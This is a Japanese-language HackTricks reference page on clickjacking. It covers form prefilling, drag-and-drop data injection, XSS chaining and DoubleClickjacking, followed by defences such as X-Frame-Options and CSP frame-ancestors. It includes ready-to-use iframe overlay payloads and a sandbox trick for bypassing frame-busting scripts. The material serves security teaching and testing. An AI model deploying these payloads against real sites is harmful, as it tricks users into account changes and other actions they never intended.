Clickjacking
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
What is Clickjacking
クリックジャッキング攻撃では、ユーザーが見えないか、別の要素に偽装された要素をクリックするように騙されます。この操作は、ユーザーにとって意図しない結果を引き起こす可能性があり、マルウェアのダウンロード、悪意のあるウェブページへのリダイレクト、資格情報や機密情報の提供、金銭の移動、または商品のオンライン購入などが含まれます。
Prepopulate forms trick
時には、ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることが可能です。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、ユーザーが送信ボタンを押すようにクリックジャッキングペイロードを送信することができます。
Populate form with Drag&Drop
ユーザーにフォームを埋めてもらいたいが、特定の情報(知っているメールアドレスや特定のパスワードなど)を直接書かせたくない場合、ユーザーにDrag&Dropしてもらうように頼むだけで、あなたの制御されたデータを書き込むことができます。これはこの例のように行えます。
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
マルチステップペイロード
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click ペイロード
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
もしあなたがユーザーがクリックする必要があるXSS攻撃を特定し、ページがクリックジャッキングに脆弱であれば、ユーザーをボタン/リンクをクリックさせるためにそれを悪用することができます。
例:
あなたはアカウントのいくつかのプライベートな詳細に自己XSSを見つけました(あなたのみが設定および読み取ることができる詳細)。これらの詳細を設定するためのフォームがクリックジャッキングに脆弱であり、GETパラメータでフォームを事前入力することができます。
攻撃者は、そのページに対してXSSペイロードでフォームを事前入力し、ユーザーをフォームを送信させるように騙すためのクリックジャッキング攻撃を準備することができます。したがって、フォームが送信されると、値が変更され、ユーザーはXSSを実行します。
DoubleClickjacking
最初にこの投稿で説明されたこの技術は、犠牲者に特定の場所に配置されたカスタムページのボタンをダブルクリックさせ、マウスダウンとクリックイベントの間のタイミングの違いを利用して、ダブルクリック中に犠牲者のページを読み込むことで、犠牲者が実際に犠牲者のページの正当なボタンをクリックすることを可能にします。
例はこのビデオで見ることができます:https://www.youtube.com/watch?v=4rGvRRMrD18
コードの例はこのページで見つけることができます。
warning
この技術は、クリックジャッキングに対するすべての保護を回避して、犠牲者のページの1つの場所をクリックさせることを可能にします。したがって、攻撃者は1回のクリックで実行できる敏感なアクション、例えばOAuthの権限を受け入れるプロンプトを見つける必要があります。
Clickjackingを軽減するための戦略
クライアントサイドの防御
クライアントサイドで実行されるスクリプトは、クリックジャッキングを防ぐためのアクションを実行できます:
- アプリケーションウィンドウがメインまたはトップウィンドウであることを確認する。
- すべてのフレームを表示可能にする。
- 見えないフレームへのクリックを防ぐ。
- 潜在的なクリックジャッキングの試みを検出し、ユーザーに警告する。
しかし、これらのフレームバスティングスクリプトは回避される可能性があります:
- ブラウザのセキュリティ設定: 一部のブラウザは、セキュリティ設定やJavaScriptのサポートの欠如に基づいてこれらのスクリプトをブロックする可能性があります。
- HTML5 iframe
sandbox
属性: 攻撃者は、allow-top-navigation
なしでallow-forms
またはallow-scripts
の値を持つsandbox
属性を設定することで、フレームバスタースクリプトを無効化できます。これにより、iframeは自分がトップウィンドウであるかどうかを確認できなくなります。
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms
と allow-scripts
の値は、トップレベルのナビゲーションを無効にしながら、iframe内でのアクションを有効にします。ターゲットサイトの意図した機能を確保するために、攻撃の種類に応じて allow-same-origin
や allow-modals
などの追加の権限が必要になる場合があります。ブラウザのコンソールメッセージは、どの権限を許可するかの指針となります。
サーバーサイドの防御
X-Frame-Options
X-Frame-Options
HTTPレスポンスヘッダーは、ブラウザにページを <frame>
または <iframe>
でレンダリングする正当性について通知し、Clickjackingを防ぐのに役立ちます:
X-Frame-Options: deny
- どのドメインもコンテンツをフレーム化できません。X-Frame-Options: sameorigin
- 現在のサイトのみがコンテンツをフレーム化できます。X-Frame-Options: allow-from https://trusted.com
- 指定された 'uri' のみがページをフレーム化できます。- 制限に注意してください:ブラウザがこのディレクティブをサポートしていない場合、機能しない可能性があります。一部のブラウザはCSPのframe-ancestorsディレクティブを優先します。
Content Security Policy (CSP) frame-ancestorsディレクティブ
CSPの frame-ancestors
ディレクティブは、Clickjacking保護のための推奨方法です:
frame-ancestors 'none'
-X-Frame-Options: deny
と同様です。frame-ancestors 'self'
-X-Frame-Options: sameorigin
と同様です。frame-ancestors trusted.com
-X-Frame-Options: allow-from
と同様です。
例えば、以下のCSPは同じドメインからのフレーミングのみを許可します:
Content-Security-Policy: frame-ancestors 'self';
さらなる詳細や複雑な例については、frame-ancestors CSPドキュメントやMozillaのCSP frame-ancestorsドキュメントを参照してください。
child-src
と frame-src
を使用したContent Security Policy (CSP)
**Content Security Policy (CSP)**は、ブラウザがコンテンツを読み込むことを許可するソースを指定することによって、Clickjackingやその他のコードインジェクション攻撃を防ぐためのセキュリティ対策です。
frame-src
ディレクティブ
- フレームの有効なソースを定義します。
default-src
ディレクティブよりも具体的です。
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームを許可します。
child-src
ディレクティブ
- ウェブワーカーとフレームの有効なソースを設定するためにCSPレベル2で導入されました。
- frame-srcおよびworker-srcのフォールバックとして機能します。
Content-Security-Policy: child-src 'self' https://trusted-website.com;
このポリシーは、同じオリジン(self)および https://trusted-website.com からのフレームとワーカーを許可します。
使用上の注意:
- 非推奨: child-src は frame-src と worker-src に置き換えられつつあります。
- フォールバック動作: frame-src が存在しない場合、child-src がフレームのフォールバックとして使用されます。両方が存在しない場合は、default-src が使用されます。
- 厳格なソース定義: 悪用を防ぐために、指令には信頼できるソースのみを含めてください。
JavaScript フレームブレイキングスクリプト
完全に確実ではありませんが、JavaScript ベースのフレームバスティングスクリプトを使用して、ウェブページがフレームにされるのを防ぐことができます。例:
if (top !== self) {
top.location = self.location
}
Anti-CSRFトークンの使用
- トークン検証: ウェブアプリケーションでanti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われていることを確認し、Clickjackedページを通じて行われていないことを保証します。
参考文献
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。